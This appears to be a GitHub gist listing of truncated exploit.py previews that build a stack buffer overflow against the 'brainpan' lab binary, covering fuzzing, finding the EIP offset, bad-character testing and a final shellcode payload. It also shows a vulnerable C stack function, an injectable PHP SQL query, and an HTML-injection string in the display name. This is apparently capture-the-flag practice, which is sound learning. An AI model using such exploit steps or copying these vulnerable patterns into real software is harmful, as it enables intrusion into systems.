Skip to content

Instantly share code, notes, and snippets.

View trevorsaudi's full-sized avatar
🔬
Writing Malware

Trevor Saudi';"/></p><h1>hey</h1> trevorsaudi

🔬
Writing Malware
View GitHub Profile
@trevorsaudi
trevorsaudi / exploit.py
Created April 5, 2021 17:16
fuzzing brainpan
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
buffer = [
b"A"*100
@trevorsaudi
trevorsaudi / exploit.py
Created April 5, 2021 17:30
fuzzing brainpan
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
@trevorsaudi
trevorsaudi / exploit.py
Last active April 5, 2021 17:33
finding the eip
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
@trevorsaudi
trevorsaudi / exploit.py
Created April 5, 2021 17:36
finding the EIP in brainpan
import socket
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
total_length = 2072
offset = 524
@trevorsaudi
trevorsaudi / exploit.py
Last active April 5, 2021 17:54
sending bad characters
import socket
from struct import pack
bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
import socket
from struct import pack
bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "192.168.100.85"
PORT = 9999
s = socket.socket()
s.connect((IP,PORT))
@trevorsaudi
trevorsaudi / exploit.py
Created April 5, 2021 18:43
final exploit
import socket
from struct import pack
# bad_chars = b"".join([pack("<B",x) for x in range(1,256)])
IP = "10.10.255.160"
PORT = 9999
buf = b""
buf += b"\xdb\xd4\xba\x70\xb3\xd8\x55\xd9\x74\x24\xf4\x5b\x29"
buf += b"\xc9\xb1\x52\x83\xc3\x04\x31\x53\x13\x03\x23\xa0\x3a"
buf += b"\xa0\x3f\x2e\x38\x4b\xbf\xaf\x5d\xc5\x5a\x9e\x5d\xb1"
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
<?php
$query = "SELECT id, name, inserted, size FROM products
WHERE name = $name";
$result = odbc_exec($conn, $query);
?>
@trevorsaudi
trevorsaudi / malformed_query
Created July 28, 2021 13:50
malformed_query.sql
$query = "SELECT id, name, inserted, size FROM products
WHERE name = $name"";